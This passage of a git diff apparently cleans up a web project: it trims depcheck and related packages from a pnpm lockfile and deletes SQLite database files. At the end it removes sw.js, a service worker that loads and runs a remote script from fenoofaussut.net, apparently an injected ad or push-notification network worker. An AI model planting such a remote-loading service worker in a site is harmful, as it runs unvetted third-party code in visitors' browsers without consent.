- resolution: {integrity: sha512-R7uiTjECzvOsWSfdM0QKFNBVFcK27aHOUwdvK53BcW8zqnGdYp0Fbj82cy54+2A4P2tFM22J5kRfe1R+lM/1yg==}
- engines: {node: '>=0.10.0'}
-
resolve-from@4.0.0:
resolution: {integrity: sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==}
engines: {node: '>=4'}
- resolve-from@5.0.0:
- resolution: {integrity: sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==}
- engines: {node: '>=8'}
-
resolve-pkg-maps@1.0.0:
resolution: {integrity: sha512-seS2Tj26TBVOC2NIc2rOe2y2ZO7efxITtLZcGSOnHHNOQ7CkiUBfw0Iw2ck6xkIhPwLhKNLS8BO+hEpngQlqzw==}
@@ -2546,9 +2320,6 @@ packages:
scheduler@0.27.0:
resolution: {integrity: sha512-eNv+WrVbKu1f3vbYJT/xtiF5syA5HPIMtf9IgY/nKg0sWqzAUEvqY/xm7OcZc/qafLx/iO9FgOmeSAp4v5ti/Q==}
- semver-compare@1.0.0:
- resolution: {integrity: sha512-YM3/ITh2MJ5MtzaM429anh+x2jiLVjqILF4m4oyQB18W7Ggea7BfqdH/wGMK7dDiMghv/6WG7znWMwUDzJiXow==}
-
semver@6.3.1:
resolution: {integrity: sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==}
hasBin: true
@@ -2602,9 +2373,6 @@ packages:
resolution: {integrity: sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==}
engines: {node: '>=0.10.0'}
- sprintf-js@1.0.3:
- resolution: {integrity: sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g==}
-
stable-hash@0.0.5:
resolution: {integrity: sha512-+L3ccpzibovGXFK+Ap/f8LOS0ahMrHTf3xu7mMLSpEGU0EO9ucaysSylKo9eRDFNhWve/y275iPmIZ4z39a9iA==}
@@ -2612,10 +2380,6 @@ packages:
resolution: {integrity: sha512-eLoXW/DHyl62zxY4SCaIgnRhuMr6ri4juEYARS8E6sCEqzKpOiE521Ucofdx+KnDZl5xmvGYaaKCk5FEOxJCoQ==}
engines: {node: '>= 0.4'}
- string-width@4.2.3:
- resolution: {integrity: sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==}
- engines: {node: '>=8'}
-
string.prototype.includes@2.0.1:
resolution: {integrity: sha512-o7+c9bW6zpAdJHTtujeePODAhkuicdAryFsfVKwA+wGw89wJ4GTY484WTucM9hLtDEOpOvI+aHnzqnC5lHp4Rg==}
engines: {node: '>= 0.4'}
@@ -2808,10 +2572,6 @@ packages:
resolution: {integrity: sha512-fvO4ExWMFsqyhG3AiPAObMuY1lxaqgYcxbc49CNdWDDECOJNgQyvsOWVwbZc+qf3rzRtxojBK+CMEv0Ld5CYpw==}
engines: {node: '>= 0.4'}
- which@1.3.1:
- resolution: {integrity: sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==}
- hasBin: true
-
which@2.0.2:
resolution: {integrity: sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==}
engines: {node: '>= 8'}
@@ -2821,29 +2581,9 @@ packages:
resolution: {integrity: sha512-BN22B5eaMMI9UMtjrGd5g5eCYPpCPDUy0FJXbYsaT5zYxjFOckS53SQDE3pWkVoWpHXVb3BrYcEN4Twa55B5cA==}
engines: {node: '>=0.10.0'}
- wrap-ansi@7.0.0:
- resolution: {integrity: sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==}
- engines: {node: '>=10'}
-
wrappy@1.0.2:
resolution: {integrity: sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==}
- y18n@5.0.8:
- resolution: {integrity: sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==}
- engines: {node: '>=10'}
-
- yaml@1.10.3:
- resolution: {integrity: sha512-vIYeF1u3CjlhAFekPPAk2h/Kv4T3mAkMox5OymRiJQB0spDP10LHvt+K7G9Ny6NuuMAb25/6n1qyUjAcGNf/AA==}
- engines: {node: '>= 6'}
-
- yargs-parser@20.2.9:
- resolution: {integrity: sha512-y11nGElTIV+CT3Zv9t7VKl+Q3hTQoT9a1Qzezhhl6Rp21gJ/IVTW7Z3y9EWXhuUBC2Shnf+DX0antecpAwSP8w==}
- engines: {node: '>=10'}
-
- yargs@16.2.2:
- resolution: {integrity: sha512-Nt9ZJjXTv5R8MHbqby/wXQ6Gi0Bb3TcYZkR1bzuL4yB2OxWPkXknz513gEF0GoA6tn00UpbPvERW8rzCuWCA6w==}
- engines: {node: '>=10'}
-
yocto-queue@0.1.0:
resolution: {integrity: sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==}
engines: {node: '>=10'}
@@ -2852,53 +2592,6 @@ snapshots:
'@alloc/quick-lru@5.2.0': {}
- '@babel/code-frame@7.29.7':
- dependencies:
- '@babel/helper-validator-identifier': 7.29.7
- js-tokens: 4.0.0
- picocolors: 1.1.1
-
- '@babel/generator@7.29.7':
- dependencies:
- '@babel/parser': 7.29.7
- '@babel/types': 7.29.7
- '@jridgewell/gen-mapping': 0.3.13
- '@jridgewell/trace-mapping': 0.3.31
- jsesc: 3.1.0
-
- '@babel/helper-globals@7.29.7': {}
-
- '@babel/helper-string-parser@7.29.7': {}
-
- '@babel/helper-validator-identifier@7.29.7': {}
-
- '@babel/parser@7.29.7':
- dependencies:
- '@babel/types': 7.29.7
-
- '@babel/template@7.29.7':
- dependencies:
- '@babel/code-frame': 7.29.7
- '@babel/parser': 7.29.7
- '@babel/types': 7.29.7
-
- '@babel/traverse@7.29.7(supports-color@7.2.0)':
- dependencies:
- '@babel/code-frame': 7.29.7
- '@babel/generator': 7.29.7
- '@babel/helper-globals': 7.29.7
- '@babel/parser': 7.29.7
- '@babel/template': 7.29.7
- '@babel/types': 7.29.7
- debug: 4.4.3(supports-color@7.2.0)
- transitivePeerDependencies:
- - supports-color
-
- '@babel/types@7.29.7':
- dependencies:
- '@babel/helper-string-parser': 7.29.7
- '@babel/helper-validator-identifier': 7.29.7
-
'@emnapi/core@1.10.0':
dependencies:
'@emnapi/wasi-threads': 1.2.1
@@ -3627,14 +3320,10 @@ snapshots:
'@types/json5@0.0.29': {}
- '@types/minimatch@3.0.5': {}
-
'@types/node@20.19.43':
dependencies:
undici-types: 6.21.0
- '@types/parse-json@4.0.2': {}
-
'@types/react-dom@19.2.3(@types/react@19.2.17)':
dependencies:
'@types/react': 19.2.17
@@ -3806,38 +3495,6 @@ snapshots:
'@unrs/resolver-binding-win32-x64-msvc@1.12.2':
optional: true
- '@vue/compiler-core@3.5.39':
- dependencies:
- '@babel/parser': 7.29.7
- '@vue/shared': 3.5.39
- entities: 7.0.1
- estree-walker: 2.0.2
- source-map-js: 1.2.1
-
- '@vue/compiler-dom@3.5.39':
- dependencies:
- '@vue/compiler-core': 3.5.39
- '@vue/shared': 3.5.39
-
- '@vue/compiler-sfc@3.5.39':
- dependencies:
- '@babel/parser': 7.29.7
- '@vue/compiler-core': 3.5.39
- '@vue/compiler-dom': 3.5.39
- '@vue/compiler-ssr': 3.5.39
- '@vue/shared': 3.5.39
- estree-walker: 2.0.2
- magic-string: 0.30.21
- postcss: 8.5.19
- source-map-js: 1.2.1
-
- '@vue/compiler-ssr@3.5.39':
- dependencies:
- '@vue/compiler-dom': 3.5.39
- '@vue/shared': 3.5.39
-
- '@vue/shared@3.5.39': {}
-
acorn-jsx@5.3.2(acorn@8.17.0):
dependencies:
acorn: 8.17.0
@@ -3866,10 +3523,6 @@ snapshots:
arg@5.0.2: {}
- argparse@1.0.10:
- dependencies:
- sprintf-js: 1.0.3
-
argparse@2.0.1: {}
aria-hidden@1.2.6:
@@ -3883,8 +3536,6 @@ snapshots:
call-bound: 1.0.4
is-array-buffer: 3.0.5
- array-differ@3.0.0: {}
-
array-includes@3.1.9:
dependencies:
call-bind: 1.0.9
@@ -3896,8 +3547,6 @@ snapshots:
is-string: 1.1.1
math-intrinsics: 1.1.0
- array-union@2.1.0: {}
-
array.prototype.findlast@1.2.5:
dependencies:
call-bind: 1.0.9
@@ -3949,8 +3598,6 @@ snapshots:
get-intrinsic: 1.3.0
is-array-buffer: 3.0.5
- arrify@2.0.1: {}
-
ast-types-flow@0.0.8: {}
async-function@1.0.0: {}
@@ -3974,10 +3621,6 @@ snapshots:
balanced-match: 1.0.2
concat-map: 0.0.1
- brace-expansion@2.1.2:
- dependencies:
- balanced-match: 1.0.2
-
brace-expansion@5.0.7:
dependencies:
balanced-match: 4.0.4
@@ -4018,14 +3661,10 @@ snapshots:
call-bind-apply-helpers: 1.0.2
get-intrinsic: 1.3.0
- callsite@1.0.0: {}
-
callsites@3.1.0: {}
camelcase-css@2.0.1: {}
- camelcase@6.3.0: {}
-
caniuse-lite@1.0.30001805: {}
chalk@4.1.2:
@@ -4061,12 +3700,6 @@ snapshots:
client-only@0.0.1: {}
- cliui@7.0.4:
- dependencies:
- string-width: 4.2.3
- strip-ansi: 6.0.1
- wrap-ansi: 7.0.0
-
clsx@2.1.1: {}
color-convert@2.0.1:
@@ -4083,14 +3716,6 @@ snapshots:
consola@3.4.2: {}
- cosmiconfig@7.1.0:
- dependencies:
- '@types/parse-json': 4.0.2
- import-fresh: 3.3.1
- parse-json: 5.2.0
- path-type: 4.0.0
- yaml: 1.10.3
-
cross-spawn@7.0.6:
dependencies:
path-key: 3.1.1
@@ -4151,40 +3776,8 @@ snapshots:
defu@6.1.7: {}
- depcheck@1.4.7(supports-color@7.2.0):
- dependencies:
- '@babel/parser': 7.29.7
- '@babel/traverse': 7.29.7(supports-color@7.2.0)
- '@vue/compiler-sfc': 3.5.39
- callsite: 1.0.0
- camelcase: 6.3.0
- cosmiconfig: 7.1.0
- debug: 4.4.3(supports-color@7.2.0)
- deps-regex: 0.2.0
- findup-sync: 5.0.0
- ignore: 5.3.2
- is-core-module: 2.16.2
- js-yaml: 3.15.0
- json5: 2.2.3
- lodash: 4.18.1
- minimatch: 7.4.9
- multimatch: 5.0.0
- please-upgrade-node: 3.2.0
- readdirp: 3.6.0
- require-package-name: 2.0.1
- resolve: 1.22.12
- resolve-from: 5.0.0
- semver: 7.8.5
- yargs: 16.2.2
- transitivePeerDependencies:
- - supports-color
-
- deps-regex@0.2.0: {}
-
destr@2.0.5: {}
- detect-file@1.0.0: {}
-
detect-libc@2.1.2:
optional: true
@@ -4215,18 +3808,10 @@ snapshots:
'@standard-schema/spec': 1.1.0
fast-check: 3.23.2
- emoji-regex@8.0.0: {}
-
emoji-regex@9.2.2: {}
empathic@2.0.0: {}
- entities@7.0.1: {}
-
- error-ex@1.3.4:
- dependencies:
- is-arrayish: 0.2.1
-
es-abstract-get@1.0.0:
dependencies:
es-errors: 1.3.0
@@ -4338,8 +3923,6 @@ snapshots:
is-date-object: 1.1.0
is-symbol: 1.1.1
- escalade@3.2.0: {}
-
escape-string-regexp@4.0.0: {}
eslint-config-next@15.5.24(eslint@8.57.1(supports-color@7.2.0))(supports-color@7.2.0)(typescript@5.9.3):
@@ -4528,8 +4111,6 @@ snapshots:
acorn-jsx: 5.3.2(acorn@8.17.0)
eslint-visitor-keys: 3.4.3
- esprima@4.0.1: {}
-
esquery@1.7.0:
dependencies:
estraverse: 5.3.0
@@ -4540,14 +4121,8 @@ snapshots:
estraverse@5.3.0: {}
- estree-walker@2.0.2: {}
-
esutils@2.0.3: {}
- expand-tilde@2.0.2:
- dependencies:
- homedir-polyfill: 1.0.3
-
exsolve@1.1.0: {}
fast-check@3.23.2:
@@ -4597,13 +4172,6 @@ snapshots:
locate-path: 6.0.0
path-exists: 4.0.0
- findup-sync@5.0.0:
- dependencies:
- detect-file: 1.0.0
- is-glob: 4.0.3
- micromatch: 4.0.8
- resolve-dir: 1.0.1
-
flat-cache@3.2.0:
dependencies:
flatted: 3.4.2
@@ -4648,8 +4216,6 @@ snapshots:
generator-function@2.0.1: {}
- get-caller-file@2.0.5: {}
-
get-intrinsic@1.3.0:
dependencies:
call-bind-apply-helpers: 1.0.2
@@ -4706,20 +4272,6 @@ snapshots:
once: 1.4.0
path-is-absolute: 1.0.1
- global-modules@1.0.0:
- dependencies:
- global-prefix: 1.0.2
- is-windows: 1.0.2
- resolve-dir: 1.0.1
-
- global-prefix@1.0.2:
- dependencies:
- expand-tilde: 2.0.2
- homedir-polyfill: 1.0.3
- ini: 1.3.8
- is-windows: 1.0.2
- which: 1.3.1
-
globals@13.24.0:
dependencies:
type-fest: 0.20.2
@@ -4755,10 +4307,6 @@ snapshots:
dependencies:
function-bind: 1.1.2
- homedir-polyfill@1.0.3:
- dependencies:
- parse-passwd: 1.0.0
-
ignore@5.3.2: {}
ignore@7.0.6: {}
@@ -4777,8 +4325,6 @@ snapshots:
inherits@2.0.4: {}
- ini@1.3.8: {}
-
internal-slot@1.1.0:
dependencies:
es-errors: 1.3.0
@@ -4791,8 +4337,6 @@ snapshots:
call-bound: 1.0.4
get-intrinsic: 1.3.0
- is-arrayish@0.2.1: {}
-
is-async-function@2.1.1:
dependencies:
async-function: 1.0.0
@@ -4845,8 +4389,6 @@ snapshots:
dependencies:
call-bound: 1.0.4
- is-fullwidth-code-point@3.0.0: {}
-
is-generator-function@1.1.2:
dependencies:
call-bound: 1.0.4
@@ -4911,8 +4453,6 @@ snapshots:
call-bound: 1.0.4
get-intrinsic: 1.3.0
- is-windows@1.0.2: {}
-
isarray@2.0.5: {}
isexe@2.0.0: {}
@@ -4932,21 +4472,12 @@ snapshots:
js-tokens@4.0.0: {}
- js-yaml@3.15.0:
- dependencies:
- argparse: 1.0.10
- esprima: 4.0.1
-
js-yaml@4.3.0:
dependencies:
argparse: 2.0.1
- jsesc@3.1.0: {}
-
json-buffer@3.0.1: {}
- json-parse-even-better-errors@2.3.1: {}
-
json-schema-traverse@0.4.1: {}
json-stable-stringify-without-jsonify@1.0.1: {}
@@ -4955,8 +4486,6 @@ snapshots:
dependencies:
minimist: 1.2.8
- json5@2.2.3: {}
-
jsx-ast-utils@3.3.5:
dependencies:
array-includes: 3.1.9
@@ -4989,8 +4518,6 @@ snapshots:
lodash.merge@4.6.2: {}
- lodash@4.18.1: {}
-
loose-envify@1.4.0:
dependencies:
js-tokens: 4.0.0
@@ -4999,10 +4526,6 @@ snapshots:
dependencies:
react: 19.2.7
- magic-string@0.30.21:
- dependencies:
- '@jridgewell/sourcemap-codec': 1.5.5
-
math-intrinsics@1.1.0: {}
merge2@1.4.1: {}
@@ -5020,10 +4543,6 @@ snapshots:
dependencies:
brace-expansion: 1.1.16
- minimatch@7.4.9:
- dependencies:
- brace-expansion: 2.1.2
-
minimist@1.2.8: {}
motion-dom@11.18.1:
@@ -5034,14 +4553,6 @@ snapshots:
ms@2.1.3: {}
- multimatch@5.0.0:
- dependencies:
- '@types/minimatch': 3.0.5
- array-differ: 3.0.0
- array-union: 2.1.0
- arrify: 2.0.1
- minimatch: 3.1.5
-
mz@2.7.0:
dependencies:
any-promise: 1.3.0
@@ -5176,15 +4687,6 @@ snapshots:
dependencies:
callsites: 3.1.0
- parse-json@5.2.0:
- dependencies:
- '@babel/code-frame': 7.29.7
- error-ex: 1.3.4
- json-parse-even-better-errors: 2.3.1
- lines-and-columns: 1.2.4
-
- parse-passwd@1.0.0: {}
-
path-exists@4.0.0: {}
path-is-absolute@1.0.1: {}
@@ -5193,8 +4695,6 @@ snapshots:
path-parse@1.0.7: {}
- path-type@4.0.0: {}
-
pathe@2.0.3: {}
perfect-debounce@1.0.0: {}
@@ -5215,10 +4715,6 @@ snapshots:
exsolve: 1.1.0
pathe: 2.0.3
- please-upgrade-node@3.2.0:
- dependencies:
- semver-compare: 1.0.0
-
possible-typed-array-names@1.1.0: {}
postcss-import@15.1.0(postcss@8.5.19):
@@ -5358,19 +4854,8 @@ snapshots:
gopd: 1.2.0
set-function-name: 2.0.2
- require-directory@2.1.1: {}
-
- require-package-name@2.0.1: {}
-
- resolve-dir@1.0.1:
- dependencies:
- expand-tilde: 2.0.2
- global-modules: 1.0.0
-
resolve-from@4.0.0: {}
- resolve-from@5.0.0: {}
-
resolve-pkg-maps@1.0.0: {}
resolve@1.22.12:
@@ -5420,8 +4905,6 @@ snapshots:
scheduler@0.27.0: {}
- semver-compare@1.0.0: {}
-
semver@6.3.1: {}
semver@7.8.5: {}
@@ -5516,8 +4999,6 @@ snapshots:
source-map-js@1.2.1: {}
- sprintf-js@1.0.3: {}
-
stable-hash@0.0.5: {}
stop-iteration-iterator@1.1.0:
@@ -5525,12 +5006,6 @@ snapshots:
es-errors: 1.3.0
internal-slot: 1.1.0
- string-width@4.2.3:
- dependencies:
- emoji-regex: 8.0.0
- is-fullwidth-code-point: 3.0.0
- strip-ansi: 6.0.1
-
string.prototype.includes@2.0.1:
dependencies:
call-bind: 1.0.9
@@ -5820,38 +5295,12 @@ snapshots:
gopd: 1.2.0
has-tostringtag: 1.0.2
- which@1.3.1:
- dependencies:
- isexe: 2.0.0
-
which@2.0.2:
dependencies:
isexe: 2.0.0
word-wrap@1.2.5: {}
- wrap-ansi@7.0.0:
- dependencies:
- ansi-styles: 4.3.0
- string-width: 4.2.3
- strip-ansi: 6.0.1
-
wrappy@1.0.2: {}
- y18n@5.0.8: {}
-
- yaml@1.10.3: {}
-
- yargs-parser@20.2.9: {}
-
- yargs@16.2.2:
- dependencies:
- cliui: 7.0.4
- escalade: 3.2.0
- get-caller-file: 2.0.5
- require-directory: 2.1.1
- string-width: 4.2.3
- y18n: 5.0.8
- yargs-parser: 20.2.9
-
yocto-queue@0.1.0: {}
diff --git a/prisma/prisma/db/database.sqlite b/prisma/prisma/db/database.sqlite
deleted file mode 100644
index 5a48ed0..0000000
Binary files a/prisma/prisma/db/database.sqlite and /dev/null differ
diff --git a/prisma/prisma/db/database.sqlite-journal b/prisma/prisma/db/database.sqlite-journal
deleted file mode 100644
index a64a5a9..0000000
Binary files a/prisma/prisma/db/database.sqlite-journal and /dev/null differ
diff --git a/prisma/prisma/prisma/db/database.sqlite b/prisma/prisma/prisma/db/database.sqlite
deleted file mode 100644
index 6c32072..0000000
Binary files a/prisma/prisma/prisma/db/database.sqlite and /dev/null differ
diff --git a/sw.js b/sw.js
deleted file mode 100644
index fa683bc..0000000
--- a/sw.js
+++ /dev/null
@@ -1,6 +0,0 @@
-self.options = {
- "domain": "fenoofaussut.net",
- "zoneId": 10014703
-}
-self.lary = ""
-importScripts('https://fenoofaussut.net/act/files/service-worker.min.js?r=sw')